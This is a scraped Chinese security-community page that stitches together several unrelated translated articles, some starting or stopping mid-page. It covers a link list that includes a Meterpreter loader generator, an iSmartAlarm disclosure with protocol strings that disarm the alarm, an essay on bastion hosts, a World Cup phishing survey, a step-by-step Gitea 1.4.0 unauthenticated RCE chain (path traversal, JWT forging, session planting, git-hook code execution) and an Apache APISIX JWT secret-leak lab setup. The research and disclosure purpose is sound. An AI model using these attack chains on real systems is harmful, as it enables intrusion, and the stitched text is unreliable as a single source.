<https://github.com/CHYbeta/cmsPoc>
7zip CVE-2016-2334 HFS + 代码执行漏洞详细分析
<http://blog.talosintelligence.com/2017/11/exploiting-cve-2016-2334.html>
逆向YouTube的demonetization算法
<https://docs.google.com/document/d/155yNpfR7dGKuN-4rbrvbJLcJkhGa_HqvVuyPK7UEfPo/preview#>
基于Windows内核的提权demo
<https://blog.xpnsec.com/windows-warbird-privesc/>
可绕过客户端和网络对策的Meterpreter loader生成器
<https://github.com/hlldz/SpookFlare>
演示视频：<https://www.youtube.com/watch?v=p_eKKVoEl0o> | 社区文章 |
# 【技术分享】当人身安全遇到IoT漏洞时，会碰撞出怎样的火花？
|
##### 译文声明
本文是翻译文章，文章来源：bullguard.com
原文地址：<http://dojo.bullguard.com/blog/burglar-hacker-when-a-physical-security-is-compromised-by-iot-vulnerabilities/>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
译者：[WisFree](http://bobao.360.cn/member/contribute?uid=2606963099)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**介绍**
**物联网已经形成了一种势不可挡的发展趋势，各种各样的物理设备不仅正逐步变得更加地数字化，其连接方式也更加多样化了，而这些物联网设备正在形成各种各样的新型生态系统。根据Gartner提供的统计数据，到2020年接入互联网的物联网设备数量将达到2080万台，无论你在家里还是在车里，无论何时何地，你都可以随时使用这些设备，这就是物联网的作用。**
随着科技的发展以及物联网市场的扩张，相应网络威胁的数量种类也随之增加。每一种物联网设备几乎都会存在安全问题，而这些问题将会导致设备受到物理损坏或泄露用户的隐私信息。大量研究表明，安全性和隐私性已经成为了很多用户在将物联网设备引入他们的生活、工作和家庭之前首要考虑的问题。
iSmartAlarm中的多个安全漏洞就是一个很好的例子，而对于攻击者来说，这款几乎可以算是毫无安全性可言的设备已经成为了一个非常容易攻击的目标。一旦攻击者入侵了家庭或企业网络之后发现了一台这样的设备，他们就可以完全控制这台设备，并对物理安全系统（例如报警系统）带来潜在的危害。
**本文将给大家介绍iSmartAlarm中存在的安全漏洞细节以及它们所带来的影响。**
**概述**
iSmartAlarm中存在大量的安全漏洞，这些漏洞将允许攻击者完全接管设备。未经身份验证的攻击者可以通过多种方法来获取iSmartAlarm的永久访问权，并导致设备失去其原有的功能性、完整性和可靠性。比如说，一名攻击者在入侵了目标用户的iSmartAlarm之后，不仅可以获取到目标用户的个人隐私数据和家庭住址，而且还可以解除其家中的警报。
相关漏洞CVE总结：
作为一名网络安全研究人员，我个人确实对联网的警报系统非常感兴趣，也很想测试这类系统的安全性。在我的研究过程中，一家名叫iSmartAlarm的公司成功引起了我的注意，很多研究人员都对这家公司的产品进行了安全审查，而且该公司所占的市场份额非常大，感兴趣的同学可以点击【[这里](https://www.ismartalarm.com/why-ismartalarm#awards_and_reviews)】了解详情。
iSmartAlarm是一家在智能报警系统领域中处于领先地位的物联网设备制造企业，它可以给用户提供一整套配备了报警器、智能摄像头和智能锁的完整报警系统。iSmartAlarm是一个可以进行自我监控、自我控制的DIY智能家庭安全系统。任何报警系统该有的功能这套系统都有，但作为一款物联网报警系统，该系统用户可以通过手机应用程序来控制，目前支持iOS和Android平台，它可以在警报被触发之后向你的智能手机发送警告信息，无论你身处何处，你都可以通过手机来远程控制整套系统。
iSmartAlarm的实时监控日志信息可以帮助用户监控家中的环境是否安全，并且用户也可以通过对该系统的定制满足他们的需求，例如制定应用程序提醒所有家庭成员，通过电话、短信、或者邮件的方式推送信息等等。当iSmartAlarm检测到没有经过允许闯入家中的活动，用户也可以在第一时间得知，而日志可以帮助警方进行取证调查。
由于iSmartAlarm所具有的这一系列性质，使得它成为了一个绝佳的研究对象。
在配置好了我的实验环境之后，我将iSmartAlarm接入了互联网，然后我迅速发现了第一个漏洞：一个SSL证书验证漏洞
当我第一次开启这个报警系统之后，iSmartAlarm会通过端口8443来与iSmartAlarm的后台服务器进行通信。但是在初始SSL握手时，iSmartAlarm并不会对服务器端提供的SSL证书进行有效性验证。因此，我们就可以通过伪造一个自签名的证书来查看并控制iSmartAlarm与后台服务器的所有交互数据了。
**
**
**SSRF漏洞**
iSmartAlarm的其中一个应用程序编程接口（API）包含一条重定向链接，而我准备尝试从这条链接入手看看能不能找到其他的漏洞。
令我感到非常惊讶的是，这条重定向链接果然存在安全问题，这简直就是开门红啊！不过我还想实现更多：我还想控制任意用户的报警系统。在对iSmartAlarm的API进行进一步的分析和检测之后，我发现我可以通过某种方式获取到一个加密密钥。
我不仅需要弄清楚手机端的App是如何与iSmartAlarm通信的，而且我还想知道我是否可以找到某些其他的工具来代替手机端App并远程控制整个报警系统。
iSmartAlarm
App有两种工作模式，第一种模式是在手机和报警系统处于同一本地网络中时使用的，如果这两者处于不同的网络，则开启另一种模式。在对第一种模式进行分析的过程中，我能够嗅探到双方通过tcp端口12345发送的加密流量。
**拒绝服务（DoS）漏洞**
由于iSmartAlarm和App之间的通信是直接通过局域网完成的，所以我就可以直接让iSmartAlarm停止运行：
在对iSmartAlarm进行一次拒绝服务攻击的过程中，合法用户失去了对警报系统的控制，用户无论是在本地还是远程都无法控制iSmartAlarm。接下来我便对iSmartAlarm所使用的通信协议进行了逆向分析，不过这部分内容已经超出了本文所要讨论的范围，但最终的分析结果貌似是，App与iSmartAlarm之间首先会使用十分复杂的四路握手来完成双方的身份验证，大致情况如下所示：
App : ISATx01x00*3x01x00*7
iSmartAlarm : ISATx02x00*3x01x00*3x10x00*3 + "Cube generated Secret Key"
加密算法：在获取到了“私钥”和IPU（加密密钥）之后，App可以解密出一个新的密钥。iSmartAlarm使用的是XXTEA加密算法，但由于该算法的实现存在安全问题，导致我们可以获取到加密密钥，这也就意味着我们可以对报警系统做任何我们想做的事情了。加密密钥的创建过程大致如下：
reverse(xxtea_encrypt(reversed("secret_key"), reversed("IPU_key")))
经过如上所示的计算之后生成的是一个新的密钥，这个密钥可以用来对发送至iSmartAlarm的控制命令进行签名。App会发送如下所示的命令来完成身份验证：
App : ISATx03x00*3x01x00*3x10x00*3 + "new key"
iSmartAlarm: ISATx04x00*3x01x00*3x01x00*3x01
这就导致了iSmartAlarm的另外两个安全漏洞出现：不正确的访问控制漏洞以及身份验证绕过漏洞。
在获取到了新生成的密钥之后，我们就可以向iSmartAlarm报警系统发送任意命令了。
DISARM ISATPx00*3x01x00*3x03x00*3x01x002
ARM ISATPx00*3x01x00*3x03x00*3x01x000
PANIC ISATPx00*3x01x00*3x03x00*3x01x003
接下来，我对手机端App进行了深入分析，并希望能够在App的身上找到更多有意思的东西。幸运的是，我发现了下图所示的东西：
看起来，这是一个能够登录到iSmartAlarm内部网站的类似令牌之类的东西。这就非常完美了，于是乎…
我竟然登录进来了！你找得到我的ticket吗？:D
现在，我已经找到了一种完整的攻击方法了，接下来我们就得发挥自己的想象力了，真正的网络犯罪分子会利用这些漏洞来干什么坏事呢？
**披露时间轴**
2017年1月30日：第一次与厂商接触；
2017年2月1日：收到厂商的回复，要求我们提供更多细节信息；
2017年2月2日：将漏洞上报给厂商；
2017年4月12日：一直没有收到厂商的回复，我向CERT提交了漏洞；
2017年4月13日：收到了CERT的确认信息，并给漏洞分配了CVE编号；
2017年7月5日：漏洞公开披露； | 社区文章 |
# 堡垒机哲学史 l 三个问题：堡垒机从哪里来？到哪里去？是什么？
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一、缘起：堡垒机从哪里来？ ——无风不起浪，从需求中来
2005年，中国，我在某互联网公司的安全部门，面临3个问题。
#### 1\. 运维部门的需求：
那时候，数据中心的运维管理人员的技术水平还处于“社会主义初级阶段“，经常会出现一些低级的误操作，导致网站突然无法正常访问，解决问题基本靠在人堆里吼一声”谁TM干的”。痛苦在于，误操作而导致的运维事故极大的降低了网站的可用性，而可用性（俗称几个9）又是运维部门永恒不变的关键考核指标。运维部门深知，误操作问题的出现是无法杜绝的。那么，何时出现？看风险概率。而风险概率=运维部门人数
x 服务器规模 x
业务复杂度。由于不能保证没有误操作，所以只能在出现误操作事故后，快速定位问题，快速恢复网站可用，也算是“曲线救国”。运维部门由此产生了一个需求：有没有一种技术手段在出现误操作后，第一时间知道是谁做的，怎么做的？
#### 2\. 安全部门的需求：
我们发现，“坏人”在连续跳转登录多台服务器的过程中，会隐匿他最初的身份。那么，有没有一种技术手段能解决：不管“他”连续跳转多少次，身份如何变化，都能知道他就是最初的那个“他”呢”？
#### 3\. 风控部门的需求：
当时公司准备去美国纳斯达克上市，面临萨班斯（SOX）法案的合规要求，审计事务所普华永道有一份针对数据中心的问题检查列表，虽然我们都应答满足，但却缺少一种有效的技术手段去应对账号、密码、操作等方面的审计要求。
三个部门尚未被解决的3个问题，对我来说是个巨大挑战，因为还年轻，因为无知者无畏，又因为无理由自信，我踏上了求解之路。
当时存在三个层面5种技术解决办法：
**I、系统层面：在服务器上解决，国外运维厂商的最爱**
实现：每台服务器上安装Agent + 独立的Agent Server
优点：可以文本解析并且实现指令控制，国外大厂都有这样的产品
缺点：
λ 买不起：当时1个Agent要1万元人民币
λ 怕麻烦：不同操作系统需要不同Agent适配，几千台服务器N多个Linux操作系统，同时升级很困难
λ 搞不定：系统管理员坚决反对安装Agent，担心会影响系统稳定性
**II、系统层面：在服务器的系统日志里实现，系统管理员的最爱**
实现：过滤+收集日志里的信息
优点：实现简单
缺点：
λ 看不懂：日志根本就不是给普通人看的，是给系统开发人员看的
λ 看不到：如果一个用户连续三次跳转和改变身份，日志无法关联
λ 看不真：用户登录系统后很容易篡改系统日志
**III、系统层面：服务器上解决，修改登录脚本，系统管理员的最爱**
实现：修改登录过程中的profile 文件
优点：实现简单，系统管理员就可以搞定
缺点：
λ 修改过的脚本文件很容易被用户改回去
λ 升级维护脚本很麻烦
λ 没法关联分析用户在多台设备跳转的日志
**IV、终端层面：在终端上解决，终端管理厂商的最爱**
实现：在桌面PC/笔记本上安装Agent
优点：可以录屏
缺点：
λ 终端更多时候是为了日常办公，很难在终端上区分出哪些是运维操作
λ 操作数据没办法文本化，简单的录屏对查找问题来说价值不大
**V、网络层面：在网络中解决，网络安全厂商的最爱**
实现：在交换机上通过流量镜像实现流量捕获+协议解析
优点：可以文本提取不加密协议（telnet/ftp等）的输入输出内容
缺点：
λ 大流量的情况下流量捕获会丢包，丢包意味着无法完整解析
λ 加密传输是大趋势（比如SSH、Https），加密后的协议难解析
λ 协议会持续升级，不停去解析协议是一场永无止境的噩梦
每种技术解法都有边界和优缺点，上述5个技术方案都没能彻底解决问题，这让我陷入沉思：
问题牛X到了无解么？ ——不可能
已知的技术解法太烂？ ——有可能
等着我发明新解法么？ ——可能是
虽说人类一思考，上帝就发笑，但依然阻止不了我的思考，我坚信一定有一种将时间、空间、技术三者匹配的最优解（此处省略痛苦摸索的过程约20000字），最终的技术解法如下：
## 二、性空：堡垒机到哪里去？ ——从需求中来，到需求中去
独乐乐，不如众乐乐。能够为更多用户解决从未被解决过的问题，不是一件很开心的事么？我离职去创业了。
客户做安全项目的3个驱动力，按照重要程度依次排序：
来自行业标准合规性驱动——那时候，等级保护条例还未发布；
来自行业内安全事件驱动——那时候，也没出过轰动的大事件；
来自用户自身的需求驱动——没有选择，只剩下这个了！
在那个年代，只能找高端大气要求高的大客户，因为一般的客户根本就没有需求。
堡垒机的发展史完全就是高端客户的需求推动史，高端客户的特点就是有钱，爱思考，爱提需求，而且是源源不断地提：
客户说：我们不是只有Linux系统，还有各种Unix系统哦？
——我们开始兼容各种访问AIX/HP-UX/Solaris/SUSE/AS400的操作；
客户说：我们除了Unix/Linux系统，还有很多Windows系统哦？
——我们开始兼容各种访问Windows的图形操作；
客户说：我们有很多是通过浏览器进行的操作哦？
——我们开始兼容各种浏览器的操作审计；
客户说：我们有很多通过客户端工具进行的操作哦？
——我们开始兼容各种C/S的操作审计；
客户说：我们还有各种网络设备哦？
——我们开始兼容各种网络设备的操作审计……
兼容性的问题解决好以后，还没喘口气，客户说：你们不能只做审计啊，还要加强控制。
——我们开始着手实现权限控制：动态授权、登录复核、双人复核、操作黑白名单 ……
和谁在一起，真的很重要。我们就像海绵一样，从各个行业顶尖客户中吸取独特的思路，融入到产品中去：
全国性股份制银行客户让我们学会了如何提高风险管控；
头部互联网客户让我们学会了什么才是领先的技术；
世界五百强客户让我们学会了如何做好项目管理；
……
黑夜给了我黑色的眼睛，我却用它寻找光明；
客户给了我难搞的问题，我却用它寻找谜底。
高端客户打磨了我们高端的能力，和他们在一起，根本不缺高质量的需求和高标准的要求，一路相伴，如履薄冰。
## 三、无我：堡垒机是什么？——近朱者赤，始终和运维在一起
人类并不偏爱风险，运维也是如此，运维偏爱效率，但是风险始终如影随形，好比硬币的正反面，风险和效率需要一个完美的平衡，堡垒机就是平衡效率的风险工具。
安全永远是业务的一个属性，国家安全是国家业务的属性，网络安全是网络业务的属性，运维安全是运维业务的属性，而对运维这个业务的深刻理解决定了堡垒机是什么。
什么是运维？简洁的理解，运维 = 运行 + 维护：
λ
运行（发现问题）：通过监控这种手段发现问题，实时监控数据中心各层（应用、中间件、数据库、操作系统、硬件、机房）的当前运行状态是不是正常稳定，核心诉求是快速定位问题，并且能够自动找到是什么原因引起的，俗称“根因分析”，这也是当下各种智能运维（AIOps）产品要解决的核心问题；
λ 维护（解决问题）：
监控并不解决问题，解决问题是通过“操作”这个动作，把不正常的状态恢复到正常状态，在解决问题的过程中往往会带来新问题，运行没有风险，维护才有风险，运维人员的高权限导致各种误操作、违规操作风险都是在这里出现，这就是2005年，堡垒机开始的地方。
世上本没有运维安全，直到堡垒机的出现，它开启了运维安全这个全新领域。
曾有某客户这样评价堡垒机：他买过很多安全产品，但是，他认为堡垒机是这10年里，唯一可以媲美防火墙的产品，真正帮他们解决了实际问题。
此话听得我泪流满面，作为产品的设计者，还有什么比得到客户的肯定更让人感动的呢？
2005年，我的预言是：
一、未来，中国所有的数据中心里都会用到堡垒机；
二、但是，不一定都是用齐治的。
今天这个预言已经实现，看到有这么多的厂商在不遗余力地用各种方法推广自家的堡垒机产品，作为堡垒机的发明者，我很欣慰。竞争让产品充满活力和想象力，如果这些竞争能从无序到有序，从低质到高质，那就更好了。
**子在川上曰，逝者如斯夫。**
这十多年，我从未关注过所谓的对手，是因为我们是这个领域的创造者和领跑者。追随者喜欢东张西望和左顾右盼，领跑者从不回头看看身后会有多少跟随者，而是坚定地把目光聚焦于前方。
如今，客户的声音依稀在耳边回响：
你们为什么只做堡垒机呢？
你们除了做堡垒机，还能做什么呢？
**俱往矣，数风流人物，还看今朝。**
聚焦下一个十年里，数据中心客户面临着更大的问题，寻找时代的技术最优解，是今天我们的挑战。创造出下一个通用性的解决方案，让更多客户使用，解决未被满足的需求，依然是齐治不变的追求！ | 社区文章 |
# 2018-FIFA-世界杯中的网络钓鱼诈骗
|
##### 译文声明
本文是翻译文章，文章来源：https://securelist.com/
原文地址：<https://securelist.com/2018-fraud-world-cup/85878/>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
距离大型足球赛事—FIFA世界杯开始只有两个星期的时间了。这项顶级赛事已经吸引了全球数百万人的关注，其中也包括少数网络犯罪分子。在开球之前很久，电子邮件中与足球相关的垃圾邮件就开始日益增多，诈骗者开始在邮件中伪造世界杯主题网页用以钓鱼。
我们的统计数据显示，门票销售期间，钓鱼网页的数量猛增。每次临近门票发售时，诈骗者都会寄出垃圾邮件，克隆官方FIFA的主页，提供虚假的赠品。随着世界杯越来越近，网络诈骗愈发嚣张。以下是我们近期的调查结果
## 虚假彩票中奖通知
与世界杯有关的欺诈邮件之一即通知收件人在由官方合作伙伴和赞助商（Visa，可口可乐，微软等）以及FIFA本身举办的彩票中获得现金奖金。
这些邮件往往包含附件（通常是PDF或DOCX文件），其中”中奖者”被祝贺并被告知回复详细联系方式（姓名，出生日期，地址，电子邮件，电话号码）以获得奖品。有时要求收件人支付一部分邮资或银行转账费用。
这些邮寄信封的主要目的是收集用户数据（包括财务信息），并提取小额汇款。这些消息还可能包含恶意附件，例如Trojan-Banker程序。
另一种常见的垃圾邮件诈骗行为是提供参与门票或赢得观看比赛之旅。受害者需要在假的促销页面上注册并提供电子邮件地址，或者如彩票电子邮件那样，向”组织者
发送其联系方式。这些消息通常来自最近注册的域名,以FIFA的名义发送。这种诈骗的目的主要是更新电子邮件数据库，以便分发更多的垃圾邮件。
## 发送垃圾邮件
在赛前，我们收到了很多垃圾广告邮件，例如提供足球相关商品，交通/住宿服务以及各种旅游运营商提供的旅游套餐。
商品通常由小型在线零售商提供，包括标有官方徽标的玩具，纪念品和文具，以及世界杯参赛团队的足球服。一些消息甚至类似于来自官方FIFA商店的邮件。
还有与足球无关的垃圾邮件。例如，比较传统的垃圾邮件：提供医疗产品，使用世界杯的名义来吸引注意力。有趣的是，一些消息主题提到了2006年世界杯决赛。也许垃圾邮件发送者使用了旧的模板，并忘记更改日期。
## 门票销售诈骗
除了销售商品的网上商店外，还有很多提供假票和伪真票的网站。它们通常被盗票者利用国际足联规则中的各种漏洞出售。
然而，官方门票只能在官方FIFA网站上购买，如若非法销售或转售将被处以巨额罚款。
那些使用某些投机服务的人有可能在体育场被拒之门外：门票是个性化的，如果持票人未能出示与门票信息相符的身份证件，国际足联工作人员有权拒绝其入场。
## 伪装合作伙伴进行诈骗
窃取银行和其他帐户凭证的最常见方式之一是制作官方合作伙伴网站的假冒伪造品。
合作伙伴组织经常为客户安排机票赠品，这是攻击者诱骗用户进入假冒促销网站的主要方式。
这样的页面看起来非常有说服力：精心设计的工作界面，很难从中分辨出真假。
诈骗者也试图通过模仿官方FIFA通知来盗取数据。受害者会被告知安全系统已更新，所有个人数据必须重新输入才能避免锁定。信息中的链接将受害者带入一个伪造的个人账户，所有输入的数据都将直接传送给诈骗者。
网络犯罪分子特别热衷于向Visa的中为商业赞助商的客户，并以这个国际知名的支付系统的名义提供奖品赠品。要参与该活动，用户需要点击一个指向钓鱼网站的链接（该域名在几个月前注册，与Visa系统无关），并要求他们输入他们的银行卡详细信息，包括CVV/CVC码。
## 综合欺诈
除社会工程攻击外，钓鱼者还部署恶意程序追踪用户的个人数据和现金。例如，提供在线服务的虚假网站可能会在受害者的计算机上以需要更新Flash
Player以查看相匹配信息的名义植入恶意软件。
在某些情况下，钓鱼者对银行帐户和付款细节完全没有兴趣。
例如，以接收世界杯为主题的FIFA足球视频游戏更新的借口，系统会提示用户在假登录页面上输入Origin平台的帐户凭证。如果受害者的个人资料下有此类游戏，则网络犯罪分子会更改登录名/密码并将帐户链接到新的电子邮件地址，以便后续转售。
在比赛开始的几周前，各大航空公司提供廉价航班的钓鱼电子邮件全都风靡一时。除了伪造的足球票外，还有提供免费机票的航空公司的抽奖活动。
## 交易诈骗者的小技巧
为了使他们的网站看起来可信，网络犯罪分子结合了”world”,”worldcup”,”FIFA”,”Russia”等域名注册（例如：worldcup2018，russia2018，fifarussia），通常情况下，这些域名看起来并不自然（例如，fifa.ucozx.site），它们具有非标准的域扩展名。因此，在大多数情况下，应该仔细查看电子邮件中的链接和url以避免被钓鱼。
同样，为了降低用户的警惕性，网络犯罪分子可以获得最便宜的SSL证书：有关部门通常无法验证获得证书的实体是否存在，这意味着骗子会在其地址前获得最重要的HTTPS。
要发现一个虚假的信息，查看域名的WHOIS数据就足够了。
诈骗网站往往是在最近一段时间内注册的，而且他们的所有者通常都是私人。更重要的是，有关业主的详细信息往往是隐藏的。
除了活跃的域名，我们还记录了大量的具有响应时间的网站：在这些网站上你可能会发现一个占位符页面，如果存在，它们一般是被网络犯罪分子用作备份：如果一个域名被封锁，网站就会移至下一个域名。
## 结论
以上只描述了最为流行的利用世界杯主题的骗局。不过，它提供了一个关于网络犯罪分子如何运作以及他们想要什么的完整蓝图。除上述之外，我们预计不久将会看到大量钓鱼网站为世界杯主办城市提供廉价机票，以及自称来自热门住宿服务的”特价优惠”的假邮件。
为避免被欺骗，请遵循以下简单规则：
1.仅在官方FIFA网站或官方售票处购买门票。
2.对于在线购买（不仅在比赛期间），请使用一张单独的银行卡并设置支出限额。
3.不要在陌生发件人的电子邮件中打开链接或附件，即使它们看起来合法。
4.检查已知服务通知中链接的地址，如果有丝毫怀疑，请勿点击，最好是在浏览器中手动打开网站。
5.为了保护您的金钱，绝对不要购买垃圾广告邮件中的产品。
6.使用最新的安全解决方案来防止网络威胁，并使数据库保持最新状态。 | 社区文章 |
原文：<https://security.szurek.pl/gitea-1-4-0-unauthenticated-rce.html>
**Gitea主页：**
* * *
<https://gitea.io/en-US/>
**引言**
* * *
该文档也可从[GitHub](https://github.com/kacperszurek/exploits/blob/master/Gitea/gitea_lfs_rce.md
"GitHub")上下载。
本文是介绍[Gitea](https://gitea.io/en-US/ "Gitea")和[Gogs](https://gogs.io/
"Gogs")内部漏洞的系列文章中的一部分。
您还可以在YouTube上观看解说视频：[Race condition and git hooks vs Gitea
server](http://www.youtube.com/watch?v=a4aOaLfGqt8 "Race condition and git
hooks vs Gitea server")。
Gitea是一个利用Go语言编写的git服务器。
它不仅易于安装，同时还提供了许多有趣的选项。
下面演示的漏洞利用过程涉及多个要素，当它们组合使用时，就可以完全接管该服务器了。
首先，我们需要通过GIT LFS实现中的漏洞来获得app.ini文件的内容。
然后，从这个文件中读取用于为JWT令牌签名的SECRET。
这样一来，我们就能够发送伪造的用户会话文件了。
然后，使用新建的管理员会话创建一个新的存储库。注意，这里需要一个管理员帐户，因为只有管理员才有权修改git hook。
接着，设法把要在服务器上执行的恶意代码放入update hook中。
然后，只要把任意的源代码修改操作推送到存储库，就可以运行恶意代码了。
好了，漏洞利用的原理已经介绍过了，接下来，将详细讨论其中的各个要素。
**被遗忘的关键词：return**
* * *
PostHandler函数的作用是创建新的LFS对象。
表面上看，一切都很正常。例如，如果用户没有相应的权限，则会调用requireAuth函数，并设置相应的WWW-Authenticate头部以及401状态。
但是，当我们深入考察源代码时，就会发现这个函数即使正常使用的话，也会出现问题。
这里的问题在于缺少关键词return：如果有该关键词的话，一旦发生故障，立即终止PostHandler函数。
如果没有关键词return，将执行requireAuth函数，然后，程序会继续执行下一个操作，就这里来说，就是创建LFS对象。
这样的话，我们就可以绕过用户权限的验证机制了。换句话说，现在我们能够为任意的存储库创建任意的LFS对象。
func PostHandler(ctx *context.Context) {
if !setting.LFS.StartServer {
writeStatus(ctx, 404)
return
}
if !MetaMatcher(ctx.Req) {
writeStatus(ctx, 400)
return
}
rv := unpack(ctx)
repository, err := models.GetRepositoryByOwnerAndName(rv.User, rv.Repo)
if err != nil {
log.Debug("Could not find repository: %s/%s - %s", rv.User, rv.Repo, err)
writeStatus(ctx, 404)
return
}
if !authenticate(ctx, repository, rv.Authorization, true) {
requireAuth(ctx)
# !!!!! MISSING RETURN HERE
}
meta, err := models.NewLFSMetaObject(&models.LFSMetaObject{Oid: rv.Oid, Size: rv.Size, RepositoryID: repository.ID})
if err != nil {
writeStatus(ctx, 404)
return
}
ctx.Resp.Header().Set("Content-Type", metaMediaType)
sentStatus := 202
contentStore := &ContentStore{BasePath: setting.LFS.ContentPath}
if meta.Existing && contentStore.Exists(meta) {
sentStatus = 200
}
ctx.Resp.WriteHeader(sentStatus)
enc := json.NewEncoder(ctx.Resp)
enc.Encode(Represent(rv, meta, meta.Existing, true))
logRequest(ctx.Req, sentStatus)
}
**任意文件读取**
* * *
getContentHandler函数的作用，是根据其Oid从LFS存储库中检索文件的内容。
首先，它会检查当前用户是否有权读取存储库。这就是我们需要使用公共可用存储库的原因——任何用户（甚至没有登录）都可以从中下载任何文件。
然后，使用ContentStore检索文件的路径。
接着，将LFS_CONTENT_PATH目录与oid参数连接起来。
然后，名为transformKey的函数将为该文件生成新的路径。
func transformKey(key string) string {
if len(key) < 5 {
return key
}
return filepath.Join(key[0:2], key[2:4], key[4:])
}
该路径构建方式是，先取标识符的前两个字符，然后添加一个反斜杠，再取标识符接下来的两个字符，然后又加入一个反斜杠，最后，取标识符的其余部分。
abcdefgh -> ab\cd\efgh
通过用点号替换oid参数，我们可以得到如下结果：
gitea\data\lfs\..\..\custom\conf\app.ini
在Windows平台上， ../ 表示向上移动到父目录。这样的话，我们就能够读取app.ini文件的内容了。
**为JWT令牌签名**
* * *
在配置文件中，已经含有LFS_JWT_SECRET。
APP_NAME = Gitea: Git with a cup of tea
RUN_USER = root
RUN_MODE = prod
[security]
INTERNAL_TOKEN = eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
INSTALL_LOCK = true
SECRET_KEY = 79jOlo4qSO
[database]
DB_TYPE = sqlite3
HOST = 127.0.0.1:3306
NAME = gitea
USER = gitea
PASSWD =
SSL_MODE = disable
PATH = data/gitea.db
LFS_JWT_SECRET的值就是用于为JWT令牌签名的密钥。将LFS GIT文件发送到服务器时，系统会对这些令牌进行检查。
由于我们知道LFS_JWT_SECRET的值，所以，可以随心所欲地使用任意oid将任意文件发送到任意存储库。
接下来，我们将再次使用“4点”技巧来创建新的LFS对象。但是，这次我们将使用sessions目录的路径作为oid。
....data/sessions/1/1/11customsession
这个目录中的某些文件，存放的就是前登录用户的相关信息。
使用Gitea，我们可以向服务器发送一个名为i_like_gitea的cookie。
服务器将会检查该目录中是否存在名为cookie的文件。
如果有的话，服务器就会读取存储在会话中的当前用户信息。
之后，就可以使用一个伪造的管理员帐户发送我们自己的会话文件了。
Why？听我细细道来。当我们检查允许在服务器上保存文件的函数时，就会发现它的工作原理与用于下载文件的函数完全相同。
它们之间只有一个不同之处，那就是.tmp字符串将添加到正在创建的文件的名称中。
对我们这些攻击者而言，这意味着我们可以将文件发送到任何位置。但是，它的扩展名总是.tmp。
**竞争条件**
* * *
不幸的是，我们无法使用自己发送的会话，因为它被立即从服务器中删除。
实际上，关键字defer就是用来负责这一操作的——Put函数一旦完成其操作，就会立即删除其创建的文件。
为了克服这个限制，我们将搬出一种称为竞争条件的法宝。
将POST请求发送到服务器时，Content-Length头部将与待发送的数据一起传递过去。
它的作用是告诉服务器，用户打算传输多少数据。这样的话，服务器就可以知道用户当前处于数据传输的哪个阶段。
这里的技巧是将这个头部的值设置为一个非常大的数字。
服务器从用户接收数据后，会立即保存到文件中。
但是，该函数会等待传输完成，直到接收到的数据的大小等于Content-Length头部中给出的数字为止。
这样一来，我们的文件就不会被立即删除了。
相反，这样我们就可以争取到几秒钟的时间，如果用于利用我们的会话的话，这些时间就足够了。
**Git hooks**
* * *
现在，我们可以使用伪造的管理员帐户创建一个新的存储库。
接下来，就可以对存储库进行设置了。由于我们的身份是管理员，所以，我们可以访问Git hooks选项。
实际上，所谓hook就是位于各个存储库的.git/hooks目录中的脚本。
在对存储库执行操作时，系统就会执行这些脚本。
例如，在响应git push命令时，Git会执行update脚本。
我们可以把需要执行的命令放到update脚本中，就这里来说，这些命令的运行结果将写入objects/info/exploit文件。
现在，我们只需要将新文件添加到我们的存储库，并通过git push命令将其发送到服务器就行了。
此时，服务器将执行update hook，并将该命令的结果写入名为exploit的文件中。
我们可以通过下载对象来显示该命令的结果：
<http://localhost:3000/root/test/objects/info/exploit>
看到了吧，在没有登录名和密码的情况下，我们照样能够在远程服务器上执行代码。
**POC**
* * *
<https://github.com/kacperszurek/exploits/blob/master/Gitea/gitea_lfs_rce.py> | 社区文章 |
# CVE-2022-29266 Apache Apisix jwt插件 密钥泄漏
## 漏洞描述
在2.13.1版本之前的APache APISIX中，攻击者可以通过向受 jwt-auth 插件保护的路由发送不正确的 JSON Web
令牌来通过错误消息响应获取插件配置的机密。依赖库 lua-resty-jwt 中的错误逻辑允许将 RS256 令牌发送到需要 HS256
令牌的端点，错误响应中包含原始密钥值。
## 漏洞版本
Apache Apisix < 2.13.1
## 环境搭建
搭建方式 [如何构建 Apache APISIX](https://apisix.apache.org/zh/docs/apisix/2.12/how-to-build/)
[Docker 搭建](https://hub.docker.com/r/apache/apisix)
### 插件开启
[命令行方式开启插件 jwt-auth
](https://apisix.apache.org/zh/docs/apisix/2.12/plugins/jwt-auth/)
在这里给大家演示的是Dashboard页面开启jwt插件。
1、当我们环境搭建完毕后、通过访问<http://127.0.0.1:9000> 登陆页 默认账号密码 admin admin
jwt-auth 是一个认证插件，它需要与 consumer 一起配合才能工作。
添加 JWT Authentication 到一个 service 或 route。 然后 consumer 将其密钥添加到查询字符串参数、请求头或
cookie 中以验证其请求。
2、我们先创建一个consumer 名称的话 随便写。
3、点击下一步、启用jwt-auth插件。
将{ "key": "Vul_test", "secret": "admin_admin" } 填写到编辑器里，值的话可以随便写。
算法的默认配置是HS256 。
4、接下来让我们创建路由。
5、在设置路由这项里、名称需要添加、路径需要添加。路径的话、因为后面需要用、可以写个简单易记的。接着点击下一步。
6、在设置上游服务里，只需要修改目标节点就行(有配置上游服务的不用写)。然后点击下一步
7、在插件配置里，只需启用jwt-auth ，不需要配置。然后点击提交下一步。
8、最后将全部配置进行提交，点开路由，有我们新增路由表示创建成功。
9、为了保险起见我们通过命令行测试一下。
当我们启用了jwt-auth插件后，会增加 /apisix/plugin/jwt/sign 这个接口。
在命令行输入以下命令，参数key的值就是我们刚刚在consumer 配置的key值，访问了这个api，我们可以获取到认证token。
curl http://127.0.0.1:9080/apisix/plugin/jwt/sign?key=Vul_test -i
然后再使用我们获取到的token值，尝试进行请求。返回的502，就可以做下一步的漏洞测试了。
注意：路由地址是我们在上面配置好的。token 是上一步请求回来的，将jwt参数值修改为获取到的token。
在官网中有三种认证方式：
* 在url参数中；
* 在头部信息的cookie中；
* 请求头Authorization 中。
这里参与的是在参数中
curl http://127.0.0.1:9080/Vul_test?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJrZXkiOiJWdWxfdGVzdCIsImV4cCI6MTY1MDk1NTEzM30.JEzqCqEFe0M1MVLioRRWHl2yuxrpN3rL29rpR7N6UOI -i
到此为止，整个环境就搭建完毕了。下面有些关于json web token的知识，可以了解了解。
